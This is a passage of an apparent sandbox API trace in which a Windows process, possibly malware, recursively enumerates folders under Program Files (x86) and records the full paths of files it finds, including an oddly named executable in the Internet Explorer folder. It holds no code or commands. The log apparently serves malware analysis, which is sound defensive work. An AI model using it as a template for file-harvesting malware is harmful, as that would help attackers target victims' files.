(x86)\\Common Files\\SpeechEngines\\Microsoft") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0123.818] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.818] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.818] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.818] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0123.818] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0123.818] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.818] lstrlenW (lpString="System") returned 6 [0123.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="System" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System") returned="c:\\Program Files (x86)\\Common Files\\System" [0123.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\") returned="c:\\Program Files (x86)\\Common Files\\System\\" [0123.818] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\*") returned="c:\\Program Files (x86)\\Common Files\\System\\*" [0123.818] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.818] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.818] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.818] lstrcmpW (lpString1="ado", lpString2=".") returned 1 [0123.818] lstrcmpW (lpString1="ado", lpString2="..") returned 1 [0123.818] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="ado") returned 3 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="ado" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\ado") returned="c:\\Program Files (x86)\\Common Files\\System\\ado" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.819] lstrcmpW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0123.819] lstrcmpW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="DirectDB.dll") returned 12 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned 55 [0123.819] lstrcpyW (in: lpString1=0x24b02b8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.819] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.819] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="en-US") returned 5 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\en-US") returned="c:\\Program Files (x86)\\Common Files\\System\\en-US" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.819] lstrcmpW (lpString1="msadc", lpString2=".") returned 1 [0123.819] lstrcmpW (lpString1="msadc", lpString2="..") returned 1 [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="msadc") returned 5 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="msadc" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\msadc") returned="c:\\Program Files (x86)\\Common Files\\System\\msadc" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.819] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1 [0123.819] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1 [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="Ole DB") returned 6 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="c:\\Program Files (x86)\\Common Files\\System\\Ole DB" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.819] lstrcmpW (lpString1="wab32.dll", lpString2=".") returned 1 [0123.819] lstrcmpW (lpString1="wab32.dll", lpString2="..") returned 1 [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="wab32.dll") returned 9 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned 52 [0123.819] lstrcpyW (in: lpString1=0x24b0330, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.819] lstrcmpW (lpString1="wab32res.dll", lpString2=".") returned 1 [0123.819] lstrcmpW (lpString1="wab32res.dll", lpString2="..") returned 1 [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0123.819] lstrlenW (lpString="wab32res.dll") returned 12 [0123.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0123.819] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned 55 [0123.819] lstrcpyW (in: lpString1=0x24b03a8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0123.819] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.819] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.820] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.820] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.820] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.820] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.820] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.820] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.820] lstrlenW (lpString="desktop.ini") returned 11 [0123.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0123.820] lstrlenW (lpString="c:\\Program Files (x86)\\desktop.ini") returned 34 [0123.820] lstrcpyW (in: lpString1=0x6df7f8, lpString2="c:\\Program Files (x86)\\desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0123.820] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.820] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0123.820] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0123.820] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.820] lstrlenW (lpString="Google") returned 6 [0123.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="c:\\Program Files (x86)\\Google") returned="c:\\Program Files (x86)\\Google" [0123.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\") returned="c:\\Program Files (x86)\\Google\\" [0123.820] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0123.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\*") returned="c:\\Program Files (x86)\\Google\\*" [0123.820] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.820] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.820] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.820] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0123.820] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0123.820] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0123.821] lstrlenW (lpString="Chrome") returned 6 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="Chrome" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome") returned="c:\\Program Files (x86)\\Google\\Chrome" [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\") returned="c:\\Program Files (x86)\\Google\\Chrome\\" [0123.821] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\*") returned="c:\\Program Files (x86)\\Google\\Chrome\\*" [0123.821] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.821] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.821] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.821] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.821] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.821] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.821] lstrcmpW (lpString1="Application", lpString2=".") returned 1 [0123.821] lstrcmpW (lpString1="Application", lpString2="..") returned 1 [0123.821] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0123.821] lstrlenW (lpString="Application") returned 11 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="Application" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\Application") returned="c:\\Program Files (x86)\\Google\\Chrome\\Application" [0123.821] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.821] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.821] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.821] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0123.821] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0123.821] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0123.821] lstrlenW (lpString="CrashReports") returned 12 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="CrashReports" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports") returned="c:\\Program Files (x86)\\Google\\CrashReports" [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\") returned="c:\\Program Files (x86)\\Google\\CrashReports\\" [0123.821] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\CrashReports\\") returned 43 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\*") returned="c:\\Program Files (x86)\\Google\\CrashReports\\*" [0123.821] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.821] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.821] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.821] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.821] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0123.821] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0123.821] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.821] lstrlenW (lpString="Internet Explorer") returned 17 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer") returned="c:\\Program Files (x86)\\Internet Explorer" [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\") returned="c:\\Program Files (x86)\\Internet Explorer\\" [0123.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\*" [0123.821] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.822] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.822] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.822] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.822] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.822] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.822] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2=".") returned 1 [0123.822] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="..") returned 1 [0123.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.822] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0123.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0123.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned 82 [0123.822] lstrcpyW (in: lpString1=0x6df848, lpString2="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0123.822] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.822] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.822] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0123.822] lstrlenW (lpString="en-US") returned 5 [0123.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US" [0123.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\" [0123.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*" [0123.822] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.822] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.822] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.822] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.822] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.823] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.823] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0123.823] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.823] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0123.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 61 [0123.823] lstrcpyW (in: lpString1=0x6df8f8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0123.823] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.823] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0123.823] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.823] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0123.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned 63 [0123.823] lstrcpyW (in: lpString1=0x6df980, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0123.823] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.823] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0123.823] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.823] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0123.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 63 [0123.823] lstrcpyW (in: lpString1=0x6dfa08, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0123.823] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.823] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0123.823] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.823] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0123.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned 64 [0123.823] lstrcpyW (in: lpString1=0x6dfa90, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0123.823] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.823] lstrcmpW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0123.823] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.823] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0123.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 63 [0123.823] lstrcpyW (in: lpString1=0x6dfb20, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0123.823] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.823] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0123.823] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0123.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.823] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0123.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned 62 [0123.824] lstrcpyW (in: lpString1=0x6dfba8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0123.824] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.824] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0123.824] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.824] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0123.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned 68 [0123.824] lstrcpyW (in: lpString1=0x6dfc30, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0123.824] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.824] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0123.824] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0123.824] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0123.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0123.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned 69 [0123.824] lstrcpyW (in: lpString1=0x6dfcc8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0123.824] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: 